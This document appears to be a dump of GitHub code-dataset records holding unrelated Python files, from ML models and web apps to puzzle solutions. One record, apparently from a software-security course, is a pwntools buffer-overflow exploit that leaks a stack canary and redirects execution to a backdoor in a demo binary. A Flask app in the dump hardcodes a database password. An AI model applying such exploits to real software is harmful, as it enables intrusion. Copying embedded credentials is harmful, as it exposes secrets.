update_row_lst(\n temp_lst, 4, accountId, not_assigned)\n elif par_info['timeline']['lane'] == 'JUNGLE':\n not_assigned, temp_lst = update_row_lst(\n temp_lst, 5, accountId, not_assigned)\n elif par_info['timeline']['lane'] == 'TOP':\n not_assigned, temp_lst = update_row_lst(\n temp_lst, 6, accountId, not_assigned)\n else:\n not_assigned.append(accountId)\n\n for index, elem in enumerate(temp_lst):\n if elem is None:\n temp_lst[index] = not_assigned[0]\n not_assigned.remove(temp_lst[index])\n\n info_lst.append(temp_lst)\n return info_lst","repo_name":"dongkyuk/LOL-Win-Prediction","sub_path":"utils/dataset_utils.py","file_name":"dataset_utils.py","file_ext":"py","file_size_in_byte":1912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"38508271192","text":"import requests\n\nfrom hamcrest import (\n assert_that,\n has_entries,\n has_entry,\n)\nfrom wazo_test_helpers import until\n\n\nclass WaitStrategy:\n def wait(self, setupd):\n raise NotImplementedError()\n\n\nclass NoWaitStrategy(WaitStrategy):\n def wait(self, setupd):\n pass\n\n\nclass SetupdEverythingOkWaitStrategy(WaitStrategy):\n def wait(self, setupd):\n def setupd_is_ready():\n try:\n status = setupd.status.get()\n except requests.RequestException:\n status = {}\n assert_that(\n status,\n has_entries(\n {\n 'rest_api': has_entry('status', 'ok'),\n 'master_tenant': has_entry('status', 'ok'),\n }\n ),\n )\n\n until.assert_(setupd_is_ready, tries=60)\n","repo_name":"wazo-platform/wazo-setupd","sub_path":"integration_tests/suite/helpers/wait_strategy.py","file_name":"wait_strategy.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"20926331658","text":"# noqa: D100, this is a script, no intention of documenting it as a module\nimport argparse\nimport io\nimport pathlib\nimport shutil\nimport typing as tp\n\nimport sentencepiece as spm\nfrom datasets import load_dataset\n\nOUTPUT_DIR = \"data/tokenizer\"\n# NOTE: this is chosen because is the max number that makes the algorithm fit\n# in the 32gb + 32gb(swap) of memory that I have (i'm poor).\nMAX_SENTENCES = 8_000_000\n\nparser = argparse.ArgumentParser(\n prog=\"train_tokenizer\",\n description=(\n \"Command to train a tokenizer for the wmt14 task. \"\n \"Only customization available is the vocabulary size.\"\n ),\n)\nparser.add_argument(\n \"--vocab-size\", help=\"Vocabulary size of the resulting tokenizer.\", default=60_000\n)\n\n\ndef train_tokenizer(\n sentences: tp.Iterable[str],\n vocab_size: int,\n) -> tp.BinaryIO:\n \"\"\"Trains a sentencepiece tokenizer using the ``sentences`` string iterable.\n\n Args:\n sentences: An iterable of sentences, used for training the tokenizer model.\n vocab_size: The vocabulary size of the model.\n\n Returns:\n The model file\n \"\"\"\n buffer = io.BytesIO()\n spm.SentencePieceTrainer.train(\n sentence_iterator=iter(sentences),\n model_writer=buffer,\n vocab_size=vocab_size,\n character_coverage=1.0,\n pad_id=3,\n )\n buffer.seek(0)\n return buffer\n\n\ndef get_vocab(model: spm.SentencePieceProcessor) -> dict[str, float]:\n \"\"\"Get vocab from a trained model.\n\n See here for reference https://github.com/google/sentencepiece/issues/668\n\n Args:\n model: A trained sentencepiece model.\n\n Returns:\n A dict mapping the vocabulary of the model to the score of the token.\n \"\"\"\n return {\n model.id_to_piece(id): model.get_score(id)\n for id in range(model.get_piece_size())\n }\n\n\ndef main(vocab_size: int) -> None:\n \"\"\"Builds tokenizer for wmt14, fr-en split.\n\n This funcition builds a sentencepiece (unigram) tokenizer using a subset of\n the sentences in the wmt14 task and saves it to ``OUTPUT_DIR`` (default\n ``data/tokenizer``). The vocabulary size of the tokenizer can be configured\n via the ``vocab_size`` argument.\n\n Args:\n vocab_size: The size of the vocabulary for the tokenizer.\n \"\"\"\n dset = load_dataset(\n \"wmt14\",\n name=\"fr-en\",\n split=f\"train[:{MAX_SENTENCES//2}]\",\n revision=\"ebb5f5979fd115cd1e9d2537103db12539f29822\",\n )\n sentences: tp.Iterable[str] = (\n sent\n for batch in dset.flatten().iter(batch_size=1000)\n for sent in batch[\"translation.en\"] + batch[\"translation.fr\"]\n )\n\n model = train_tokenizer(sentences, vocab_size)\n output_path = pathlib.Path(OUTPUT_DIR)\n output_path.mkdir(exist_ok=True)\n with open(output_path / \"tokenizer.model\", \"wb\") as of:\n print(\"Saving to\", of.name)\n shutil.copyfileobj(model, of)\n\n vocab = get_vocab(\n spm.SentencePieceProcessor(model_file=str(output_path / \"tokenizer.model\"))\n )\n with open(output_path / \"tokenizer.vocab\", \"w\") as of:\n for key, value in vocab.items():\n of.write(f\"{key}\\t{value}\\n\")\n\n\nif __name__ == \"__main__\":\n args = parser.parse_args()\n main(**vars(args))\n","repo_name":"gchaperon/align-and-translate","sub_path":"scripts/train_tokenizer.py","file_name":"train_tokenizer.py","file_ext":"py","file_size_in_byte":3233,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"959989679","text":"# @title Imports { form-width: \"30%\" }\n\nfrom acme import specs\nimport chex\n\nimport haiku as hk\n\nimport jax\nimport jax.numpy as jnp\nimport numpy as np\nfrom typing import *\n\n\nclass ValueNetworkDDPG(hk.Module):\n \"\"\"\n DDPG value network, following the original paper\n DDPG Q function network, following the original paper\n Linear(300) -> Linear(400) -> Linear(1), with BatchNorm and ReLU\n Actions are only taken into account at the second hidden layer.\n \"\"\"\n\n def __init__(self, name: Optional[str] = None) -> None:\n super().__init__(name=name)\n\n def __call__(self, s: chex.Array, a: chex.Array, is_training: bool) -> chex.Array:\n \"\"\"\n :param s: state\n :param a: action\n :param is_training: True if training mode, for BatchNorm\n :return: Q(s,a)\n \"\"\"\n\n h = s\n h = hk.BatchNorm(create_scale=True, create_offset=True, decay_rate=0.99)(h, is_training)\n\n h = hk.Linear(400)(h)\n h = hk.BatchNorm(create_scale=True, create_offset=True, decay_rate=0.99)(h, is_training)\n h = jax.nn.relu(h)\n\n h = hk.Linear(300)(jnp.concatenate([h,a], axis=1))\n h = jax.nn.relu(h)\n\n return hk.Linear(1, hk.initializers.RandomUniform(-3e-3, 3e-3))(h)[..., 0]\n\nclass PolicyNetworkDDPG(hk.Module):\n \"\"\"\n DDPG policy network, following the original paper\n Linear(300) -> Linear(400) -> Linear(action shape) -> tanh, with BatchNorm and ReLU\n \"\"\"\n\n def __init__(self, action_spec: specs.BoundedArray, name: Optional[str] = None) -> None:\n super().__init__(name=name)\n self._action_spec = action_spec\n\n def __call__(self, x: chex.Array, is_training: bool) -> chex.Array:\n \"\"\"\n :param x: state\n :param is_training: True if training mode, for BatchNorm\n :return: policy(x)\n \"\"\"\n \n action_shape = self._action_spec.shape\n action_dims = np.prod(action_shape)\n h = x\n h = hk.BatchNorm(create_scale=True, create_offset=True, decay_rate=0.99)(h, is_training)\n\n h = hk.Linear(400)(h)\n h = hk.BatchNorm(create_scale=True, create_offset=True, decay_rate=0.99)(h, is_training)\n h = jax.nn.relu(h)\n\n h = hk.Linear(300)(h)\n h = hk.BatchNorm(create_scale=True, create_offset=True, decay_rate=0.99)(h, is_training)\n h = jax.nn.relu(h)\n\n h = hk.Linear(action_dims, hk.initializers.RandomUniform(-3e-3, 3e-3))(h)\n h = jnp.tanh(h) * self._action_spec.maximum # tanh is bounded between -1 and 1.\n return hk.Reshape(action_shape)(h) \n","repo_name":"arthurPignet/mva-drl-project","sub_path":"src/networks.py","file_name":"networks.py","file_ext":"py","file_size_in_byte":2572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"33721951500","text":"\"\"\"project URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.11/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url\nfrom experience import views \t\nurlpatterns = [\n # url(r'^(?P<user_name>[a-zA-Z]+)$',views.hellouser)\n url(r'^home$',views.getallexp),\n url(r'^exp/(?P<exp_id>[0-9]+)$',views.getexp),\n url(r'^update/(?P<exp_id>[0-9]+)$',views.update),\n url(r'^delete/(?P<exp_id>[0-9]+)$',views.delete),\n url(r'^comm/(?P<exp_id>[0-9]+)$',views.getcomment),\n url(r'^(?P<city_id>[0-9]+)/new$', views.new),\n # url(r'^city/(?P<city_id>[0-9]+)/comm/(?P<exp_id>[0-9]+)$', views.newcomment ),\n url(r'^experience/(?P<exp_id>[0-9]+)$', views.newcomment ),\n\n ]","repo_name":"MostafaMahmoudOS/Travel","sub_path":"experience/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"29668705322","text":"import Game\n\ndef test_str_to_move():\n print(\"testing string to move conversion\")\n \n print(\"\\tnormal move\")\n move = Game.str_to_move('a1a2')\n assert(move == ((0, 0), (1, 0)))\n print(\"\\tpromotion\")\n move = Game.str_to_move('c7c8q')\n assert(move == ((6, 2), (7, 2), 'q'))\n","repo_name":"flatline/Lopez","sub_path":"GameTests.py","file_name":"GameTests.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"73002460953","text":"# -*- coding: utf-8 -*-\n\nimport flask\nimport os\nimport random\nimport re\n\nfrom flask import Flask, make_response, request, render_template, redirect, url_for, flash\nfrom flask.ext.bcrypt import Bcrypt\nfrom flask.ext.login import (LoginManager, current_user, login_required,\n login_user, logout_user, UserMixin, AnonymousUser,\n confirm_login, fresh_login_required)\n#from flask.ext.mail import Mail\n#from flask.ext.mail import Message\nfrom flask.ext.sqlalchemy import SQLAlchemy\nfrom sqlalchemy.orm import relationship\nfrom flask import render_template\n\n\n_DEBUG_ = False\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = ('sqlite:///:memory:' if _DEBUG_ else\n\t'postgres://qdvcwjhjzx:KzsY5P8JzVuCY60RDmQ1@ec2-107-20-152-105.compute-1.amazonaws.com/qdvcwjhjzx')\nbcrypt = Bcrypt(app)\ndb = SQLAlchemy(app)\n#mail = Mail(app)\n\n\n@app.before_first_request\ndef before_first_request():\n\tif not _DEBUG_:\n\t\treturn\n\n\tdb.create_all()\n\n\tuser1 = User('ace', 'andrewchhwong@gmail.com', bcrypt.generate_password_hash('asdf'))\n\tuser2 = User('andrewboni', 'andrewfboni@gmail.com', bcrypt.generate_password_hash('asdf'))\n\tdb.session.add(user1)\n\tdb.session.add(user2)\n\n\tdb.session.commit()\n\n\nclass Bundle(db.Model):\n\t__tablename__ = 'bundle'\n\tid = db.Column(db.Integer, primary_key=True)\n\towner_id = db.Column(db.Integer, db.ForeignKey('user.id'))\n\ttitle = db.Column(db.String(150))\n\tdescription = db.Column(db.Text)\n\thash = db.Column(db.String(60))\n\tchildren = relationship('Media')\n\n\tdef __init__(self, owner_id, title, description):\n\t\tself.owner_id = owner_id\n\t\tself.title = title\n\t\tself.description = description\n\t\tself.hash = self._GenerateHash()\n\n\tdef __repr__(self):\n\t\treturn '<Bundle: id=%r, owner_id=%r, title=%r, hash=%r>' % (\n\t\t\tself.id, self.owner_id, self.title, self.hash)\n\n\tdef _GenerateHash(self):\n\t\tchar_set = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-_';\n\t\thash = '';\n\t\tfor count in xrange(3):\n\t\t\trand_num = random.randint(0, 63)\n\t\t\thash += char_set[rand_num]\n\n\t\t# If the generated hash has already been used, try again.\n\t\texisting_hash = Bundle.query.filter_by(hash=hash).first()\n\t\tif existing_hash:\n\t\t\treturn self._GenerateHash()\n\n\t\treturn hash\n\n\nclass Media(db.Model):\n\t__tablename__ = 'media'\n\tid = db.Column(db.Integer, primary_key=True)\n\tbundle_id = db.Column(db.Integer, db.ForeignKey('bundle.id'))\n\turl = db.Column(db.String(120))\n\tthumburl = db.Column(db.String(120))\n\ttype = db.Column(db.Integer)\n\n\tdef __init__(self, bundle_id, url, thumburl, type):\n\t\tself.bundle_id = bundle_id\n\t\tself.url = url\n\t\tself.thumburl = thumburl\n\t\tself.type = type\n\n\tdef __repr__(self):\n\t\treturn '<Media: id=%r, bundle_id=%r, url=%r, thumburl=%r, type=%r>' % (\n\t\t\tself.id, self.bundle_id, self.url, self.thumburl, self.type)\n\n\nclass MediaType:\n IMAGE=1\n VIDEO=2\n\n\nclass User(db.Model):\n\t__tablename__ = 'user'\n\tid = db.Column(db.Integer, primary_key=True)\n\tusername = db.Column(db.String(80), unique=True)\n\temail = db.Column(db.String(120), unique=True)\n\tpassword = db.Column(db.String(60), unique=False)\n\tactive = db.Column(db.Boolean)\n\n\tdef __init__(self, username, email, password):\n\t\tself.username = username\n\t\tself.email = email\n\t\tself.password = password\n\t\tself.active = True\n\n\tdef __repr__(self):\n\t\treturn '<User: id=%r, username=%r, email=%r, active=%r>' % (\n\t\t\tself.id, self.username, self.email, self.active)\n\n\nclass UserLogin(UserMixin):\n\tdef __init__(self, user):\n\t\tself.name = user.username\n\t\tself.id = user.id\n\t\tself.active = user.active\n\n\tdef is_active(self):\n\t\treturn self.active\n\n\nclass Anonymous(AnonymousUser):\n\tname = u'Anonymous'\n\n\nSECRET_KEY = 'yeah, not actually a secret'\nDEBUG = True\n\napp.config.from_object(__name__)\n\nlogin_manager = LoginManager()\n\nlogin_manager.anonymous_user = Anonymous\nlogin_manager.login_view = 'login'\nlogin_manager.login_message = u'Please log in to access this page.'\nlogin_manager.refresh_view = 'reauth'\n\n@login_manager.user_loader\ndef load_user(id):\n\tuser = User.query.filter_by(id=id).first()\n\tif user:\n\t\treturn UserLogin(user)\n\telse:\n\t\treturn None\n\n\nlogin_manager.setup_app(app)\n\n@app.route('/')\ndef home():\n\tif current_user and current_user.is_authenticated():\n\t\treturn redirect(url_for('dashboard'))\n\telse:\n\t\treturn redirect(url_for('index'))\n\n\n@app.route('/addmedia', methods=['GET', 'POST'])\n@login_required\ndef add_media():\n\tif request.method == 'POST' and ('bundleid' in request.form and\n\t\t\t\t\t\t\t\t\t 'url' in request.form and\n\t\t\t\t\t\t\t\t\t 'thumburl' in request.form):\n\t\tbundle_id = request.form['bundleid']\n\t\tmedia_url = request.form['url']\n\t\tmedia_type = get_media_type(media_url)\n\t\tif not media_type:\n\t\t\tflash('Could not determine media type.')\n\t\t\treturn make_response(render_template('addmedia.html'), 400)\n\t\telif media_type == MediaType.VIDEO:\n\t\t\tmedia_thumb_url = request.form['thumburl']\n\t\telif media_type == MediaType.IMAGE:\n\t\t\tmedia_thumb_url = request.form['thumburl']\n\n\t\tnew_media = Media(bundle_id, media_url, media_thumb_url, media_type)\n\t\tdb.session.add(new_media)\n\t\tdb.session.commit()\n\t\tflash('Media was successfully added!')\n\t\treturn redirect(url_for('dashboard'))\n\telse:\n\t\treturn render_template('addmedia.html')\n\n\ndef get_media_type(url):\n\tyoutube_matcher = re.compile('^http:\\/\\/(?:www\\.)?youtube\\.com\\/.*$')\n\tif youtube_matcher.match(url):\n\t\treturn MediaType.VIDEO\n\treturn None\n\n\n@app.context_processor\ndef utility_processor():\n\tdef get_user_bundles():\n\t\treturn Bundle.query.filter_by(owner_id=current_user.id)\n\treturn dict(get_user_bundles=get_user_bundles)\n\n\n@app.route('/createbundle', methods=['GET', 'POST'])\n@login_required\ndef create_bundle():\n\tif request.method == 'POST' and ('title' in request.form and\n\t\t\t\t\t\t\t\t\t 'description' in request.form):\n\t\ttitle = request.form['title']\n\t\tdescription = request.form['description']\n\n\t\tnew_bundle = Bundle(current_user.id, title, description)\n\t\tdb.session.add(new_bundle)\n\t\tdb.session.commit()\n\t\tflash('Bundle was successfully created!')\n\t\treturn redirect(url_for('dashboard'))\n\telse:\n\t\treturn render_template('createbundle.html')\n\n\n@app.route('/dashboard')\n@login_required\ndef dashboard():\n\treturn render_template('dashboard.html')\n\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n\tif request.method == 'POST' and ('username' in request.form and\n \t\t\t\t\t\t\t\t 'password' in request.form):\n\t\tusername = request.form['username']\n\t\tpassword = request.form['password']\n\t\tuser = User.query.filter_by(username=username).first()\n\t\tif user:\n\t\t\tremember = request.form.get('remember', 'no') == 'yes'\n\n\t\t\tif bcrypt.check_password_hash(user.password, password):\n\t\t\t\tif login_user(UserLogin(user), remember=remember):\n\t\t\t\t\tflash('Logged in!')\n\t\t\t\t\treturn redirect(request.args.get('next') or url_for('dashboard'))\n\t\t\t\telse:\n\t\t\t\t\tflash('Sorry, but you could not log in.')\n\t\t\telse:\n\t\t\t\tflash('Incorrect password. Please try again.')\n\t\telse:\n\t\t\tflash(u'Invalid username.')\n\treturn render_template('login.html')\n\n\n@app.route('/logout')\n@login_required\ndef logout():\n logout_user()\n flash('Logged out.')\n return redirect(url_for('index'))\n\n\n@app.route('/reauth', methods=['GET', 'POST'])\n@login_required\ndef reauth():\n if request.method == 'POST':\n confirm_login()\n flash(u'Reauthenticated.')\n return redirect(request.args.get('next') or url_for('index'))\n return render_template('reauth.html')\n\n\n@app.route('/secret')\n@fresh_login_required\ndef secret():\n return render_template('secret.html')\n\n\n@app.route('/signup', methods=['GET', 'POST'])\ndef signup():\n\tif request.method == 'POST' and ('username' in request.form and\n\t\t\t\t\t\t\t\t\t 'email' in request.form and\n\t\t\t\t\t\t\t\t\t 'password' in request.form):\n\t\tusername = request.form['username']\n\t\temail = request.form['email']\n\t\tpassword = bcrypt.generate_password_hash(request.form['password'])\n\n\t\tuser = User.query.filter_by(username=username).first()\n\t\tif user:\n\t\t\tflash(u'Username has already been taken!')\n\t\telse:\n\t\t\tuser = User.query.filter_by(email=email).first()\n\t\t\tif user:\n\t\t\t\tflash(u'An account already exists for the specified email address.')\n\t\t\telse:\n\t\t\t\tuser = User(username, email, password)\n\t\t\t\tdb.session.add(user)\n\t\t\t\tdb.session.commit()\n\n\t\t\t\t# Log the user in right after sign-up.\n\t\t\t\tif login_user(UserLogin(user)):\n\t\t\t\t\treturn redirect(url_for('dashboard'))\n\t\t\t\telse:\n\t\t\t\t\treturn redirect(url_for('index'))\n\n#\t\tflash('Yo you just gotcha self a lil email at %s!' % email)\n#\t\tmsg = Message('Hello',\n#\t\t\tsender=('Bubblewrapp Admin', 'noreply@bubblewrapp.com'),\n#\t\t\trecipients=[email])\n#\t\tmsg.body = 'testing'\n#\t\tmsg.html = '<b>testing</b>'\n#\t\tmail.send(msg)\n\treturn render_template('signup.html')\n\n\n@app.route('/welcome')\ndef index():\n\tif current_user.is_authenticated():\n\t\treturn redirect(url_for('dashboard'))\n\telse:\n\t return render_template('index.html')\n\n\nif __name__ == '__main__':\n # Bind to PORT if defined, otherwise default to 5000.\n port = int(os.environ.get('PORT', 5000))\n app.run(host='0.0.0.0', port=port)\n","repo_name":"hypermunkee/bubblewrapp","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":8929,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"23251930806","text":"from .utils import Answer\n\nclass Number:\n def __init__(self, s):\n self.value = int(s)\n\n def __repr__(self):\n return str(self.value)\n\ndef mix(numbers: list[Number], times: int):\n size = len(numbers)\n mixed = numbers[:]\n for _ in range(times):\n for number in numbers:\n current = mixed.index(number)\n new = current + number.value\n if new >= size or new < 0:\n new = new % (size - 1)\n mixed.insert(new, mixed.pop(current))\n\n zero_index = next(i for i, n in enumerate(mixed) if n.value == 0)\n return sum(\n mixed[(zero_index + i) % size].value\n for i in (1000, 2000, 3000)\n )\n\nKEY = 811589153\n\ndef solve(input: str):\n numbers = list(map(Number, input.split()))\n part1 = mix(numbers, 1)\n part2 = mix([Number(n.value * KEY) for n in numbers], 10)\n return Answer(part1, part2)\n","repo_name":"barnybug/aoc2022","sub_path":"aoc2022/day20.py","file_name":"day20.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"16903805193","text":"\"\"\"Eportem response\n\"\"\"\n\nimport re\nfrom datetime import datetime\n\nfrom lib.constants.locators import DATE_PATTERN, DOC_TYPE_PATTERN\nfrom lib.constants.ursl import DOCUMNET_DETAIL_URL, BASE_PAGE\nfrom lib.enums.doc_type import DocType\nfrom lib.models.eportem_document import EPortemDocument\n\n\nclass EportemResponse():\n \"\"\"eportem response handler\n \"\"\"\n\n def process(self, response_text: str) -> EPortemDocument:\n \"\"\"Process the response text from eportem\n\n Args:\n response_text (str): The response text from request object\n\n Returns:\n List[EPortemDocument]: list of EportemDocuments\n \"\"\"\n for match in re.finditer(DOCUMNET_DETAIL_URL, response_text):\n # Getting Document ID\n match_index = match.end()\n quotes_index = response_text[match_index:].find('\"')\n end_index_doc_id = match_index + quotes_index\n doc_id = response_text[match_index:end_index_doc_id]\n # Getting Date\n end_index_date_pattern = response_text[end_index_doc_id:].find(\n DATE_PATTERN) + len(DATE_PATTERN)\n start_date_index = end_index_doc_id + end_index_date_pattern\n closing_div_index = response_text[start_date_index:].find('</div>')\n end_index_date = start_date_index + closing_div_index\n doc_date = response_text[start_date_index:end_index_date]\n # Getting document type\n end_index_doc_type_pattern = response_text[end_index_date:].find(\n DOC_TYPE_PATTERN) + len(DOC_TYPE_PATTERN)\n start_doc_type_index = end_index_doc_type_pattern + end_index_date\n closing_div_index = response_text[start_doc_type_index:].find(\n '</div>')\n end_index_doc_type = start_doc_type_index + closing_div_index\n doc_type = response_text[start_doc_type_index:end_index_doc_type]\n eportem_document = EPortemDocument(\n created_at=datetime.strptime(doc_date, '%d/%m/%Y').date(),\n document_url=f'{BASE_PAGE}{DOCUMNET_DETAIL_URL}{doc_id}',\n doc_type=DocType[doc_type.replace(\" \", \"\")])\n yield eportem_document\n","repo_name":"rbelando/e-portem-downloader","sub_path":"e-portem-downloader/lib/eportem_response.py","file_name":"eportem_response.py","file_ext":"py","file_size_in_byte":2214,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"5"} +{"seq_id":"31510201130","text":"import re\nimport hashlib\nfrom collections import defaultdict\n\nimport psycopg2\n\n\ndef attempt_decode(raw_data):\n \"\"\"\n Decodes utf-8 or utf-8-sig encoded bytes.\n \"\"\"\n try:\n data = raw_data.decode('utf-8')\n except:\n data = raw_data.decode('utf-8-sig')\n\n return data\n\n\ndef get_hash(code):\n \"\"\"\n Given a string of source code (with comments removed),\n normalizes (by removing whitespace) and returns the MD5\n hash.\n \"\"\"\n cleaned_code = re.sub(r\"\\s+\", \"\", code)\n hasher = hashlib.md5()\n hasher.update(cleaned_code.encode('utf-8'))\n return hasher.hexdigest()\n\n\ndef invert_dict(dictionary):\n output = defaultdict(list)\n for project_id, hashes_and_paths in dictionary.items():\n for h, p in hashes_and_paths:\n output[h].append((project_id, p))\n return dict(output)\n\n\ndef get_conn():\n return psycopg2.connect(dbname=\"sourcerer\", user=\"sourcerer\", password=\"sourcerer\")\n","repo_name":"taobojlen/sourcerer-malware-detection","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"34342574948","text":"from pathlib import Path\nimport secrets\n\nfrom typing import Text\n\nimport rasa\nfrom rasa.shared.core.domain import Domain\nfrom rasa.shared.utils.io import write_yaml\n\n\ndef _new_model_path_in_same_dir(old_model_path: Text) -> Text:\n return str(Path(old_model_path).parent / (secrets.token_hex(8) + \".tar.gz\"))\n\n\ndef test_models_not_retrained_if_no_new_data(\n trained_e2e_model: Text,\n moodbot_domain_path: Path,\n e2e_bot_config_file: Path,\n e2e_stories_path: Text,\n nlu_data_path: Text,\n trained_e2e_model_cache: Path,\n):\n result = rasa.train(\n str(moodbot_domain_path),\n str(e2e_bot_config_file),\n [e2e_stories_path, nlu_data_path],\n output=_new_model_path_in_same_dir(trained_e2e_model),\n dry_run=True,\n )\n\n assert result.code == 0\n\n\ndef test_dry_run_model_will_not_be_retrained_if_only_new_responses(\n trained_e2e_model: Text,\n moodbot_domain_path: Path,\n e2e_bot_config_file: Path,\n e2e_stories_path: Text,\n nlu_data_path: Text,\n trained_e2e_model_cache: Path,\n tmp_path: Path,\n):\n domain = Domain.load(moodbot_domain_path)\n domain_with_extra_response = \"\"\"\n version: '3.1'\n responses:\n utter_greet:\n - text: \"Hi from Rasa\"\n \"\"\"\n domain_with_extra_response = Domain.from_yaml(domain_with_extra_response)\n\n new_domain = domain.merge(domain_with_extra_response)\n new_domain_path = tmp_path / \"domain.yml\"\n write_yaml(new_domain.as_dict(), new_domain_path)\n\n result = rasa.train(\n str(new_domain_path),\n str(e2e_bot_config_file),\n [e2e_stories_path, nlu_data_path],\n output=str(tmp_path),\n dry_run=True,\n )\n\n assert result.code == 0\n","repo_name":"RasaHQ/rasa","sub_path":"tests/acceptance_tests/test_training.py","file_name":"test_training.py","file_ext":"py","file_size_in_byte":1699,"program_lang":"python","lang":"en","doc_type":"code","stars":17244,"dataset":"github-code","pt":"5"} +{"seq_id":"31124537963","text":"class Solution:\n def minOperations(self, nums: List[int], x: int) -> int:\n prefix = {0: 0}\n prev = 0\n \n result = float(\"inf\")\n for i in range(len(nums)):\n prev += nums[i]\n prefix[prev] = i + 1\n if prev == x:\n result = i + 1\n \n prev = 0\n for i in range(len(nums) - 1, -1, -1):\n prev += nums[i]\n target = x - prev\n if target in prefix and prefix[target] <= i:\n result = min(result, len(nums) - i + prefix[target])\n \n return result if result != float(\"inf\") else -1\n ","repo_name":"marcuspeh/leetcode-solutions","sub_path":"1658-minimum-operations-to-reduce-x-to-zero/1658-minimum-operations-to-reduce-x-to-zero.py","file_name":"1658-minimum-operations-to-reduce-x-to-zero.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"41748249273","text":"#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nr = process('./demo_BOF2_leak_canary')\n\nbackdoor_addr = 0x4011b6\nno_push_rbp_backdoor_addr = 0x4011bb\n\ngdb.attach(r)\nr.sendafter(\"What's your name: \", b'A'*0x29)\nr.recvuntil('A'*0x29)\ncanary = u64(b'\\x00' + r.recv(7))\nprint(\"canary: \", hex(canary))\nr.sendafter(\"What's your phone number: \", b'A'*0x18 + p64(canary) + p64(0xdeadbeef) + p64(no_push_rbp_backdoor_addr))\n\nr.interactive()","repo_name":"u1f383/Software-Security-2021-2022","sub_path":"2021/week1/demo/demo_BOF2_leak_canary.py","file_name":"demo_BOF2_leak_canary.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","stars":223,"dataset":"github-code","pt":"29"} +{"seq_id":"40054184114","text":"import unittest\n\nfrom app.fruits.bucket_of_fruits import BucketOfFruits\n\n\nclass TestBucketOfFruits(unittest.TestCase):\n def test_if_buckect_is_a_instance_of_bucket_of_fruits(self):\n buck = BucketOfFruits()\n self.assertIsInstance(buck, BucketOfFruits)\n\n def test_if_get_a_random_fruit_really_return_a_random_fruit(self):\n buck = BucketOfFruits()\n result = buck.get_a_random_fruit()\n assert result in buck.list_of_fruits\n","repo_name":"DouglasRonchi/HBSISPythonPadawan","sub_path":"FrutasForca/tests/unit/fruits/test_bucket_of_fruits.py","file_name":"test_bucket_of_fruits.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"74559391117","text":"from flask import request\nfrom flask_restful import Resource\n\nfrom backend import osm, EnvironmentConfig\nfrom backend.services.user_service import UserService\nfrom backend.errors import NotFound, Unauthorized\nfrom backend.services.user_service import auth\n\n\nclass UserAuthorizationUrlAPI(Resource):\n def get(self):\n authorization_url, state = osm.authorization_url(\n EnvironmentConfig.OAUTH2_AUTHORIZATION_BASE_URL\n )\n return {\"url\": authorization_url, \"state\": state}\n\n\nclass UserTokenAPI(Resource):\n def get(self):\n authorization_code = request.args.get(\"code\", None)\n redirect_uri = request.args.get(\n \"redirect_uri\", EnvironmentConfig.OAUTH2_REDIRECT_URI\n )\n osm.redirect_uri = redirect_uri\n token = osm.fetch_token(\n EnvironmentConfig.OAUTH2_TOKEN_URL,\n client_secret=EnvironmentConfig.OAUTH2_CLIENT_SECRET,\n code=authorization_code,\n )\n user_info = osm.get(EnvironmentConfig.OAUTH2_USER_INFO_URL).json()\n\n if user_info is None:\n raise NotFound(\"USER_NOT_FOUND\")\n return UserService.login_user(user_info[\"user\"], token[\"access_token\"]).dict()\n\n\nclass UserTokenExpiryAPI(Resource):\n @auth.login_required\n def get(self):\n return {\"expired\": False}, 200\n\n\nclass UserAllAPI(Resource):\n @auth.login_required\n def get(self):\n if not UserService.is_admin():\n raise Unauthorized(\"USER_NOT_ADMIN\")\n return UserService.get_all_users()\n","repo_name":"Aadesh-Baral/OSMLocalizer","sub_path":"backend/api/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":1530,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"35759069021","text":"# -*- coding:utf-8 -*-\n\"\"\"\nAdaboost算法:\n(1)确定基本弱分类器;\n(2)基本分类器训练过程:\n 